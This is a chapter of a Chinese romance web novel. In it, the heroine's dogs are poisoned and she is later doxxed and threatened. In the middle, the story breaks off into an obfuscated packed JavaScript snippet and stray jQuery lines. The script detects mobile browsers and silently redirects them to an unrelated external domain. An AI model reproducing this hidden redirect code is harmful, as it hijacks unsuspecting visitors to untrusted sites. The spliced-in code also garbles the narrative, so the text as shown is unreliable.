20.第 20 章

作品:《听风吟夏

    沈桯拎起六十多斤的萨摩耶轻松得像是拎着六斤的猪肉,臂膀肌肉尽数隆起,青筋顺着肌理线条蜿蜒盘扎,男性的惊人力量展露无疑。


    他很快赶上前方慢速移动的两人,二话不说接过金毛扛肩上,大步流星往车库走,边走边说:“留个人去检查下院子里什么情况。”


    小丽比倪夏先一步,抬臂擦去脑门上的汗水,“我留下,店里这块儿我比倪夏姐更熟悉,待会儿我就挂上暂定营业的通知。太过分了!这是今年的第三起投毒了,防不胜防!”


    不等沈桯与倪夏有异议,她转身回去得干净利落。


    倪夏锁眉,面色凝重地看向两条狗,状态很差,鼻头泛白,她弯着腰,两手撑着膝盖深呼吸,心脏超负荷的跳动居高不下,过了会儿冲沈桯伸手,头也没抬,说:“车钥匙拿来,我去开门。”


    说完,她才反应过来他根本没法儿腾出手来,遑论给她钥匙。


    沈桯也意识到她话里的漏洞,无奈扯了下唇,眼眸在裤兜扫过一眼,示意她自己拿。


    他穿的牛仔裤,上衣折起一角扎进裤腰里,随性得像附近的大学生。倪夏在左边口袋没摸到,纤长的手臂直接绕过他前面,形成半蹲环抱着他腰的姿势,伸手插进右边兜里,鼓囊的一串钥匙到手。


    倪夏说:“没故意占你便宜。”


    沈桯神情怔松半秒,将肩上的两条狗更用力稳住,大腿内侧后知后觉传来异样的酥痒,很快不动声色地消弭,他渗出细汗的脸上露出淡笑,“没觉得你是在占便宜。”


    倪夏也笑了下,意料之中的答案,他正人君子“正”得发邪,但她恰恰相反,不合时宜地想了些有的没的。


    比如他大腿肌肉很结实很硬朗,练得手感很好,她很想掐一把,但没能、也没赶下手,事情的轻重缓急还是分得清的,她只是在脑中演练了一遍。足以见得她是多么不正。


    沈桯不知她内心所想,见她快步往他的停车的位置奔去,他随口聊起来:“一直没去考驾照?”


    “上大学的时候没钱考,上班后没时间懒得考,又觉得没什么必要,通勤坐地铁也很方便。”


    倪夏开了后座车门,想帮忙沈桯卸下肩上的重量,沈桯摇头说不用,让她去副驾驶坐好,“那以后不考虑学车了?”


    他肩头衣衫汗透了,鬓边如线的汗水划至下巴颏,汇聚成一颗又一颗的晶莹水滴,悄无声息往下落。眼梢余光从内视镜注意着狗狗的情况,脸色不复方才的一秒松快。


    倪夏:“以后的事情,以后再说。很遗憾帮不上你,替你开车,急救措施我也会,我可以做些力所能及的,或者你指挥我怎么做。”


    她学习过给猫的急救,但猫与狗存在个体化差异,发病的症状不同,她不敢贸然行动,唯恐引起不当。


    沈桯应该很想她来开车,他在后面进行急救。


    “是有想过,但是又觉得发现及时,距离也不远。”


    沈桯一路疾驰,一公里的路开出赛车既视感,“时间够用,直接去医院洗胃。”


    到地方时倪夏头晕目眩了许久,撑着脑袋下车时眼前的景色恍惚,半天才缓过神来。


    救治及时,毒素还未完全深入,两条狗在宠物医院有惊无险度过,病恹恹挂点滴中。


    沈桯和倪夏返回前报了警,小丽处理好catlive的琐事后赶来,从后院拾掇起那俩来路不明的宠物球,用真空密封袋装好,调取监控查证,院外有一戴着渔夫帽身着学生制服的男性在院外逗留,连续半个月,次次叼着烟拿脚踹墙,作势将烟屁股往里扔,须臾还是碾进了脚边的绿化带,今天出门绕了院子两三趟,在离开前故作无意地把东西不偏不倚扔在了狗常玩的地方。监控只拍到他的侧脸。


    倪夏盯着那身校服目不斜视。


    Catlive虽然地理位置较偏,胜在周围是大学城,不乏名校,旗下附属的师范中学、小学挨在一起,那校服一看就是南深高中的特色。


    警察是刑侦办调来的,刚过来没多久,挺热情一人,看过视频又让人化验过宠物球的成分后正了正脸色,球内部被注射了氰/化/物,是常见的投毒物品之一。


    沈桯闻言,去到外面打了个电话,直接咨询徐远之这类问题一般如何处理,折返回来时,警察捕捉到他的身影,指着他,话是对倪夏说的。


    “后续事情有进展随时联系你们,你让你对象多安排点人手在院外巡逻。”


    警察语速快,容不得倪夏出言解释她和沈桯的关系,他强调:“投毒宠物的,不排除有虐猫虐狗的倾向,附近的流浪猫狗近期注意些,观察有没有可疑人物。”


    之后警察又补充了些案件的处理结果,考虑到对方可能是未成年,让倪夏和沈桯有个心理准备。


    一顿语炮连珠令倪夏失了解释的兴头,也不想在称谓上多做纠结,不在意就是。


    沈桯眸如深水地看过来,捕捉到她面部的微小变化,他没有单独将“对象”这一词拎出来说明。


    只是在离开派出所前,语调和缓,但气势上有种不容置喙的坚定,“多谢,我和朋友静待您的消息。”


    南深的四季不太分明,常年长时间雨水覆盖下,萦拢着浅淡一层的潮湿水汽,即便是晴天也总是雾蒙蒙的,像裹上了一层薄纱。


    这会儿云层在头顶聚合,天色昏暗。沈桯开车过来,手肘搭在窗沿,声音里透露出的情绪不高,“上车,送你回去。”


    倪夏点头,自觉钻进了后座,引来他轻描淡写的回眸,视线凝在她脸上看了会儿,又若无其事地移开。


    二人不说话,沉默如灰尘般落在他们身上,逼仄的车厢内像是一场旷日持久的忍耐力大赛,持续到倪夏住的单元楼下。她下车,他开车驶入灯带般蜿蜒的车流里。


    单元大门敞开在,有人在搬家,陆陆续续抱着家具出电梯,倪夏在一旁静待梯内的物品清空,上楼,插入锁匙,开门。


    啪嗒一声,玄关及客厅灯亮起的片刻,她条件反射地闭上眼睛,不多时才睁眼适应炽亮如昼的光线,目光刚好触及阳台上晾的衣服,过分宽大的半袖和休闲短被清风掀动,小幅度晃悠。


    她拿起手机翻看微信,与沈桯的聊天记录停留在上个月,细算下来有二十八天之久。二十八是个神奇的数字,天上有二十八星宿,女性的生理周期是二十八天,人类的恒牙是二十八颗,而在佛教里,六道又分三界二十八重天,世间万物皆受所持业力与修行的不同,故而导致所在天界不同。无论是欲界六天,亦或是□□十八天,前者饱受贪嗔痴慢疑鞭笞,在里苦苦煎熬,后者虽已超脱,但肉身禁锢,是故度己救人,渡人化己。


    心经里说色即是空,空即是色,受想行识亦复如是,一定程度上与无□□存在逻辑关联,但是两种不同的体系。


    不论如何,二十八是个玄妙的数字。


    她在输入框打下一行文字,两秒后逐个删除,既然要维持普通范围内的距离感,她选择下回去catlive送还给他,不失为妥当的安排。


    取下在这间屋子里格格不入的男装,叠好装进手提袋,倪夏将它放在玄关处的柜台处,显眼而突兀,昭示着它的别离。


    时间尚早,她照例打开各个社交软件查看了下后台消息,偶尔挑一两个回复,在更新了视频后很快有网友在评论区提及过段时间会展中心有世宠会,问她有可能是否会出现在展会上,带面哥和茶姐露个面。


    网友说的世宠会倪夏知晓,宠物行业的翘楚每年在会展中心举行一次空前盛大的宠物博览会,一方面是促进行业交流合作,一方面则是流浪动物的救助领养,在展会上出现的多是名气很高的宠物博主,不乏举办方特意邀请的大咖,用来镇场和引流。剩下一些散户,举办方眼里的一粒沙,自费抢购展位,卖一些自家宠物相关的周边,重在参与,图一乐呵。


    倪夏回复:[不……]


    手机微信嗡了声,是合作过好几次的吸尘器品牌的pr梨木,加了她微信后,有一搭没一搭地聊天,一般是催更视频。


    梨木问她去不去世宠会,附带发过来一张自己制作的面哥嘻嘻的表情包。


    倪夏:[不去。]


    梨木:[啊?来嘛来嘛,是不是报名太晚,没展位了?别慌稳住,我们公司的展位超大一个,我和老板说一声,腾出部分位置给你!]


    梨木说每年世宠会很热闹,实际效益也不错,是个固粉的好机会,粉丝都乐意线下和自己的梦中情猫贴贴,迷得七荤八素的。


    倪夏不感兴趣,单纯是不愿暴露在大众眼里,但梨木接下的话又让她有些动摇,这女孩有点可爱,言语间充斥着活人感和生命力。


    梨木:[老板打死都同意你来~,面哥茶姐都成我们店的招牌了,展位费他包了!联动的相关周边也包了!]


    梨木报了个价格,她很想义正言辞地拒绝掉,但现实的苟且让她没骨气地选择接受。


    倪夏问她想要什么周边,周期短她不确定短时间内可以量产,梨木说要一套动画版表情包贴画,亚克力板和徽章可以弄少点。


    倒是不难办,就是表情包上要花点时间,[我尽量,三天后给你一组12个表情包。]


    动画版猫的形象全部原创,倪夏一心扑在设计上,过渡专注下意识不到时间的流逝,初稿出来的时天已上了墨色,窗玻璃外飘着绒绒雨丝,毫无章法地乱飞。


    她揉了揉干涩的眼睛,将初稿扔进废弃箱,开启新一轮作画。


    突兀的电话响动打乱节奏,手不禁抖了一下,刺穿画布至外围,她乜了眼陌生来电,归属地显示东霖,她没接。


    自动挂断一会儿,该电话号码又打进来,倪夏向上滑动绿色键,倪湛的声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456999|184966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音传进来,“姐,这周天我不回家里住了。”


    倪夏不问缘由,淡漠地应了句,就要切断电话。


    倪湛鼓起勇气,捂住话筒说得像他与她之间的秘密话,倪夏眉梢往上一抬,仔细分辨着对面的声音,有道细腻温柔的女声在说话,说算法之类的。


    “你用你同学的手机?”


    “我手机电池好像坏了,一打电话就自动关机,明天中午去换块电池。”倪湛甩着泡过水的手机,有些心疼,但嘴上说着事儿的时候唇角是向上翘的。


    “姐诶,我好像找回来一点学习的乐趣,老师也夸我天赋可以,我觉得好像可以认真试试。”


    倪夏莞尔,送上一句:“恭喜。”


    很多时候,想通明了后的恍然大悟,是发现开解问题的钥匙在自己身上。


    挂断电话后,时间已是夜里的十点多,老小区楼房的隔音不好,廊道走动的动静听得一清二楚,间或伴随外卖员送单的声响,步子极重,脚蹬在地面砰的一下。


    倪夏去冲了个澡,在一片淅淅沥沥的热水中,浴室门外的猫焦躁地叫了两、三声,


    她把门打开一条缝,猫溜进来半个身体,淋到水立马跑开。


    合上门的刹那,她隐约听到嗡鸣,像是手机在不停震动。


    她以为是倪湛,把人晾了一会儿,裹着干发帽刷着牙出来,脸上有着被水汽蒸腾过后的红润,显得格外温和柔美,就连情绪淡淡的眼底都流动着水光。


    倪夏从衣柜里拿了件薄外套披上,洗了冰箱里的新买的葡萄,拿出剩余不多的好酒,神清气爽回到卧室。


    廊道里倏地嗙的一下,跺脚的声音穿透墙壁,倪夏静了静,目光定在智能亮度的手机屏幕上,一会儿明一会儿暗。


    电话如流水般一个接一个,争相打进来,各个归属地的都有。


    几乎是刚断,另个就进入视野。甚至都来不及看清未接电话有多少,只是模糊地看到个红色。


    她迟疑半晌,指腹触在接听键,人坐进电脑椅里,看那一串串变化的数字像炸弹上跳动的倒计时,满载危险。


    接通的那一瞬间,难听入耳的谩骂四起:“骚货接电话了!天天发你那两只臭猫无聊不无聊?找时间把你的两只猫弄死!再把你弄了!”


    “你谁?”


    “你爹,叫声爸爸听听。”


    “少狗叫。”倪夏拧眉,立刻撂了线,将电话设置免打扰模式,也看清左下角显示的99+未接来电,微信好友请求那一栏同样如此。


    备注里尽是不堪入目的辱骂威胁,四面八方的来人要弄死她的猫,有些则是要弄她这个人,爆出了她的个人信息及详细住址。


    窗外的雨不知何时变得密集起来,浅浅一层积水蓄着玻璃,窒闷而厚沉。


    她呼吸过速,心脏几欲跳出胸腔,握住手机的掌心发软,那种超额负载的恐惧再次爬上心头,浪潮般冲击着她的心神。


    她深呼吸好几口气,努力镇定跌宕的情绪,截图微信好友请求、肆意谩骂威逼的备注、未接来电和涌入本地短信箱里的消息。


    “咚——”大门陡然被敲响,颇有节奏地敲三下,停一阵,再敲三下,之后便没了声响。


    她抄起键盘靠近猫眼,廊道里空无一人,不一会儿她感觉到脚边一阵濡湿,低头一看,鲜红的血带着腥臭味顺着门缝蔓延进来,染了满脚。


    倪夏猛然跌坐在地,紧抿的牙关打颤,尖叫声在喉咙里徘徊,最后化作一声干呕。


    她截图发给庄敏,手指微颤地打字:[敏敏,你有空吗?]


    人比自己想象的要脆弱,她无比期待庄敏的回音,一个字也行。


    庄敏的视频电话弹出来,惺忪的睡眼注意到她的不对劲,问:“宝儿我在,你那边发生什么了?”


    “我好像被人开盒了,门外不知道什么东西的血,流进了屋里。”


    说着她摄像头对准门口,那一滩血迹看得庄敏心惊肉跳,心律漏了半拍,“稳住别慌,视频别挂,就这样一直和我打着。”


    说着,她那边指挥裴邵青买返程的票,越快越好。


    “聊一会儿就可以,不用整晚。你又是舟车劳顿,又是饭局交际,还要兼顾其他,那样会很累。”


    庄敏态度强硬:“我心里有数,那些都不是你该操心的事。”


    两人聊了四十多分钟,倪夏蹲进沙发里给手机充上电,把卧室里的酒抱回来,又从冰箱里拿出几罐啤酒,混着一起喝,试图抚平绷成线的神经。


    效果甚微,酒很快见底,廊道里传来脚步声,由远及近,最后停留在她的门前。


    她屏着呼吸,眯起眼紧盯着那扇门,似要将门后的人影刺穿。


    倪夏说:“门外有人。”


    庄敏默了两秒,柔声道:“你开个门,沈桯在门外打不通你电话。”